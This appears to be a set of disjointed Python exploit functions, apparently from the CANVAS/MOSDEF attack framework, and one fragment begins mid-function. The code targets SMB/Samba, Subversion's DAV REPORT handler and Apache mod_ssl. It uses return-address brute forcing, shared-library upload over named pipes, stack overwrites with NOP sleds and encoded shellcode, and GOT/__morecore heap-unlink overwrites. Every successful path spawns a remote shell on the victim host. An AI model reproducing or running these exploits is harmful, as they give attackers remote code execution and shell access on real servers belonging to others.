def brute_loop(self): while self.retaddr_base < self.retaddr_top: self.log( "trying; retaddr: 0x%08x\r" % self.retaddr_base) if self.exploit(self.retaddr_base)==-1: break sck = self.mysmbclient.get_sock() if linuxshell.doGOhandshake(sck,secondstage=self.stage2): self.log("GO Code Passed...Loading second stage") import linuxMosdefShellServer try: node=linuxNode() node.parentnode=self.socknode linuxMosdefShellServer.linuxshellserver(sck,node,logfunction=self.logfunction) self.log("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d (succeeded)"%(NAME,self.host,self.port)) return node except: self.log("Could not make a MOSDEF shell listener - connection was closed. Exploit most likely failed.") import traceback print '-'*60 traceback.print_exc(file=sys.stdout) print '-'*60 return None time.sleep(0.2) self.retaddr_base += self.increment return None
def run(self): debug = 0 self.host = self.target.interface self.port = int(self.argsDict.get("port", self.port)) self.socknode = self.argsDict["passednodes"][0] self.setInfo("%s attacking %s:%d (in progress)" % (NAME, self.host, self.port)) if self.version == 0: self.test() if self.version == 0: self.log("No valid version found") self.setInfo("%s attacking %s:%d (failed)" % (NAME, self.host, self.port)) return 0 else: self.log("Version=%d" % self.version) self.createShellcode() if self.version == 1: a = 0 b = 369 stuff = prettyprint(self.shellcode[a:b]) print "Shellcode[%d : %d]=%s" % (a, b, stuff) #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = self.gettcpsock() try: s.connect((self.host, self.port)) except: self.log("Failed to connect.") self.setInfo("%s attacking %s:%d (could not connect)" % (NAME, self.host, self.port)) return None self.log("Version=%d" % self.version) if self.version == 2: self.log("Creating linux findsock code...") self.createLinuxGOShellcode(self.badstring) self.log("Shellcode length is %d" % len(self.shellcode)) body = self.makesploit() s.sendall(body) #no need for ssl here, so we don't use websend time.sleep(0.5) #We don't use the GOCode for Windows as it is #somewhat weirdly unreliable in realserver if self.version == 1 and False: #windows #if you're debugging this (esp with olly) #then it'll take a while, so we try multiple times top = 80 for i in xrange(0, top): self.log("Checking for gocode (try %d/%d)" % ((i + 1), top)) ret = self.checkTriggerGOcode(s) if ret: self.log("Got successful Win32 gocode!") newnode = self.doGOMOSDEFWin32(s) return newnode time.sleep(0.5) self.log("No win32 GO trigger found! :<") return 0 elif self.version == 2: myshellcode = shellcodeGenerator.linux_X86() myshellcode.addAttr("setblocking", None) myshellcode.addAttr("read_and_exec", {"fdreg": "ebx"}) sc = myshellcode.get() try: self.log( "Looking for GO handshake with second stage of length %d" % len(sc)) #time.sleep(3) ret = linuxshell.doGOhandshake(s, secondstage=sc) if not ret: ret = linuxshell.doGOhandshake(s, secondstage=sc) except: import traceback traceback.print_exc(file=sys.stdout) print "Setting ret to zero" ret = 0 if not ret: self.log( "Could not make a shell listener - connection was closed. Exploit most likely failed." ) self.setInfo( "%s attacking %s:%d (could not make shell listener)" % (NAME, self.host, self.port)) return None try: node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( s, node, logfunction=self.logfunction) self.log("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d (Succeeded!)" % (NAME, self.host, self.port)) return node except: import traceback traceback.print_exc(file=sys.stdout) self.log("Node startup failed. :<") self.log( "Could not make a shell listener - connection was closed. Exploit most likely failed." ) self.setInfo( "%s attacking %s:%d (could not make shell listener)" % (NAME, self.host, self.port)) return None elif self.version == 1: time.sleep(2) #sleep 2 more seconds for connectback if self.ISucceeded(): self.setProgress(100) self.setInfo("%s attacking %s:%d (succeeded!)" % (NAME, self.host, self.port)) return 1 #win32 - use GO CODE #ret=self.checkTriggerWin32(s) #if not ret: # ret=self.checkTriggerWin32(s) #if ret: # self.log("Got trigger!") # import win32MosdefShellServer # node=win32Node() # node.parentnode=self.argsDict["passednodes"][0] # newshell = win32MosdefShellServer.win32shellserver(s,node,self.logfunction) # node.startup() # self.setInfo("%s (Succeeded!)"%self.name) # return node #else: # self.log("No trigger for win32...failed to call GOcode?") else: data = s.recv(500) print "Returned: %s" % data self.setInfo("%s attacking %s:%d (Failed)" % (NAME, self.host, self.port)) return None
def exploit(self, arch): self.exename = '__exe%d.a' % random.randint(1, 1000000) logging.info("Uploading self.payload: %r" % self.exename) stream = StringIO.StringIO() stream.write(self.payload) self.smbobj.put(stream, self.exename) if arch == 'x86': lib = file('%s/7494libi686.so' % self.resourcePath, 'rb').read() else: lib = file('%s/7494libx86_64.so' % self.resourcePath, 'rb').read() offset = lib.find(pack('<L', 0xdeadbeef)) exepath = self.basepath + self.exename lib = lib[0:offset] + exepath + lib[offset + len(exepath):] stream = StringIO.StringIO() stream.write(lib) logging.info("Uploading payload: __namedpipe.so") self.smbobj.put(stream, '__namedpipe.so') logging.info("Binding to named pipe: %s[\\pipe%s]" % (self.host, self.path)) connector = u'ncacn_np:%s[\\pipe%s]' % (self.host, self.path) if self.use_kerberos: dce = DCERPC(connector, getsock=None, username=self.user, password=self.password, domain=self.domain, kerberos_db=self.ccache_file, use_krb5=True) else: dce = DCERPC(connector, getsock=None, username=self.user, password=self.password, domain=self.domain) dce.dcerpc_connection.connect() sck = dce.dcerpc_connection.s time.sleep(.1) logging.info("Cleaning up uploaded files") self.smbobj.delete('__namedpipe.so') self.smbobj.delete(self.exename) logging.info("Calling recv on smb socket") try: buf = sck.recv(1000) except: return None node = None if buf.find("G") != -1: logging.info("Got response") sck.send("O") node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( sck, node, logfunction=self.logfunction) logging.info("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d (succeeded)" % (NAME, self.host, self.port)) return node
def attack_linux(self): padd = 4 - (len(self.shellcode) % 4) shcode = self.shellcode + padd * "A" print "shcode len: %d\n" % len(shcode) x86_nop = "\x42" stack_end = 0xc0000000L #killer_indx = [0xb7dc4680L, 0xb7def7d4L, 0xb7dd4170L, 0xb7df0e38L, 0xb7e04e90L, 0xb7e7dab0L, 0xb7ea4af0L] killer_indx = [ 0xb7de0000L, 0xb7dd0000L, 0xb7dc0000L, 0xb7df0000L, 0xb7e7dab0L, 0xb7ea4af0L ] #killer_indx -= total_sz indx_delta = 64 #killer_indx -= indx_delta trycnt = 128 ovw_len = 0x100 # dwords of overwrite for each in killer_indx: print "[!] switching delta to %X" % each for sub_indx in range( 0, 0xff00, ovw_len ): # not * 4, sensible small step based off of ovw_len dwords sh_addr = stack_end - len(shcode) - 0x500 # XXX: somewhat more sensible payload calc, we hit stack end # when we have a 'succesful' hit, so we need to just sort of slide # our payload calc based off of the stack end, so take smaller steps # and be a bit more sensitive. self.log("trying indx: 0x%.8x, jmp_addr: 0x%.8x" % (each, sh_addr)) # XXX: top of stack - size - index #raw_input("attach") try: self.mysmbclient.do_smb_nttrans_first() self.mysmbclient.do_smb_nttrans_second( each, struct.pack("<L", sh_addr) * ovw_len + x86_nop * 0x600 + shcode) except Exception, msg: self.log("%s" % msg) import traceback print '-' * 60 traceback.print_exc(file=sys.stdout) print '-' * 60 time.sleep(0.1) sck = self.mysmbclient.get_sock() #if linuxshell.doGOhandshake(sck): try: buf = sck.recv(1000) except: continue if buf.find("G") != -1: sck.send("O") node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( sck, node, logfunction=self.logfunction) self.log("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d (succeeded)" % (NAME, self.host, self.port)) return node try: self.setup() except Exception, msg: self.log("%s" % msg) #each -= total_sz each += ovw_len
class linuxIA32(tcpexploit, common): def __init__(self): tcpexploit.__init__(self) common.__init__(self) return def createShellcode_lnx86(self): shellcode = linuxshell.getNewGOcode() encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring("\x00\\/.:?\r\n%?\" ") shellcode = encoder.encode(shellcode) return shellcode def buildRequest_lnx86(self, align, overwrite, repos): # base padding ovf = 'X' * (17 * 4) # backset bytes ? ovf += 'A' * (4 - align) ovf += overwrite date = "%s %d %s %d %02d:%02d:%02d.%06d (day %03d, dst %d, gmt_off %06d)" % ( ovf, 0, "X", 0, 0, 0, 0, 0, 0, 0, 0) body = "<?xml version=\"1.0\" encoding=\"utf-8\"?>" body += "<S:dated-rev-report xmlns:S=\"svn:\" " body += "xmlns:D=\"DAV:\">" body += "<D:creationdate>%s</D:creationdate>" % date body += "</S:dated-rev-report>" #print "shellcode is : %d bytes"%len(self.shellcode) payload = "\x41" * (8096 - len(self.shellcode)) + self.shellcode request = "REPORT %s HTTP/1.1\r\n" % repos request += "Host: 127.0.0.1\r\n" request += "User-Agent: SVN/1.0.2 (r9423) neon/0.24.5\r\n" request += "Keep-Alive:\r\n" request += "Connection: TE, Keep-Alive\r\n" request += "TE: trailers\r\n" request += "Content-Length: %d\t\n" % len(body) request += "Content-Type: text/xml\r\n" for i in range(0, 56): request += "X-PAYLOAD: %s\r\n" % payload request += "\r\n" return (request, body) def tryIt_lnx86(self, host, port, (request, body)): s = self.connectTo(host, port) #print "ATTACH" #sys.stdin.read(1) #print "%d bytes total"%(len(request)+len(body)) self.websend(s, request) self.websend(s, body) try: check = s.recv(1000) except: s.close() raise Exception, "No GO" #print check if "G" in check and len(check) == 1: s.send("O") print "Recycled socket :)" #print "ATTACH!" #sys.stdin.read(1) node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( s, node, logfunction=self.logfunction) node.startup() return node else: s.close() #print check if check.find("500 Internal Server Error") > 0: self.debuglog("Internal Server Error !") if check.find("Could not open the requested SVN filesystem") > 0: self.debuglog("Could not open the requested SVN filesystem !") raise Exception, "Abort" raise Exception, "No GO"
#print "Attach now !" #sys.stdin.read(1) try: s = self.ownItLinux(codeloc, data) except: self.log("Trouble in final exploit attempt") self.raiseError("fatal") node = None try: from linuxNode import linuxNode node = linuxNode() node.parentnode = self.socknode import linuxMosdefShellServer linuxMosdefShellServer.linuxshellserver( s, node, logfunction=self.logfunction) self.log("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d (Succeeded!)" % (NAME, self.host, self.port)) except self.error, msg: self.log("Error making shell listener") self.raiseError("fatal") self.setProgress(100) return node else: self.log("Did not find suitable retloc") self.raiseError("fatal") return None
def do_sploit(self): if not self.infoleak(): return 0 buf = self.get_server_from_header() error = 0 if not buf: error = 1 else: GOT = self.find_GOT_from_server(buf) if len(GOT) == 0: error = 1 if error: self.forcemorecore = 1 self.log("There is no known GOT['free'] entry or couldn't retrive Apache version information from server reponse.\n"+\ "Trying __morecore hook.") #DoS some old process' hangin around for ages ... #self.log("DoSing old apache processes'.") #for each in range(0, 30): # self.ssl_unlink(0xdeadbeefL, 0x12345678L) # time.sleep(1) if not self.do_consistency(): return 0 #if 0: #self.infoleak() #self.log("ciphers: %.8x shellcode: %.8x" % (self.ciphers, (self.ciphers + 16))) #self.ssl_unlink(0x809af8c, (self.ciphers + 16)) #self.close_flood() #raw_input() #return 0 #we're supposed to be dealing with a freshly forked apache child now. #do the infoleak one last time if self.forcemorecore is set. if self.forcemorecore == 1 and self.morecore == 0: count = 5 while count: ret = self.infoleak(self.forcemorecore) if ret < 0: count -= 1 continue elif ret == 0: #infoleak failed ? bizzare lets try cpl of more times #add a hook here if neccessary continue elif ret == 1: break if self.forcemorecore and self.morecore == 0: self.tryallGOT = 1 if self.morecore: for i in range(0, 10): self.log( "Trying __morecore entry at 0x%.8x shellcode at 0x%.8x" % (self.morecore, (self.ciphers + 16))) self.sck = self.ssl_unlink(self.morecore, (self.ciphers + 16)) if self.sck: time.sleep(2) self.close_flood() try: node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( self.sck, node, logfunction=self.logfunction) self.log("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d - done (succeeded!)" % (NAME, self.host, self.port)) return node except: self.log("Error making shell listener") return None else: self.close_flood() #if i == 2: # for cnt in range(0, 10): # self.ssl_unlink(0xdeadbeefL, 0x12345678L) # self.do_consistency() time.sleep(2) #do the sploit if self.tryallGOT: GOT = self.GOTent.values() if len(GOT) > 0: #try everything twice ... ;) GOT += GOT l = len(GOT) for each in GOT: self.log("Trying GOT entry at 0x%.8x shellcode at 0x%.8x" % (each, (self.ciphers + 16))) self.sck = self.ssl_unlink(each, (self.ciphers + 16)) #do shellcode checks and return if successful if self.sck: # instead of solars stage 2 we now do a MOSDEF stage 2 time.sleep(2) self.close_flood() try: node = linuxNode() node.parentnode = self.socknode linuxMosdefShellServer.linuxshellserver( self.sck, node, logfunction=self.logfunction) self.log("Calling startup for MOSDEF shell server") node.startup() self.setInfo("%s attacking %s:%d - done (succeeded!)" % (NAME, self.host, self.port)) return node except: self.log("Error making shell listener") else: if GOT.index(each) != (l - 1): i = len(self.flood) self.close_flood() for cnt in range(0, i): self.ssl_unlink(0xdeadbeefL, 0x12345678) time.sleep(8) self.do_consistency() self.setInfo("%s attacking %s:%d - done (failed.)" % (NAME, self.host, self.port)) self.log("failed.") return 0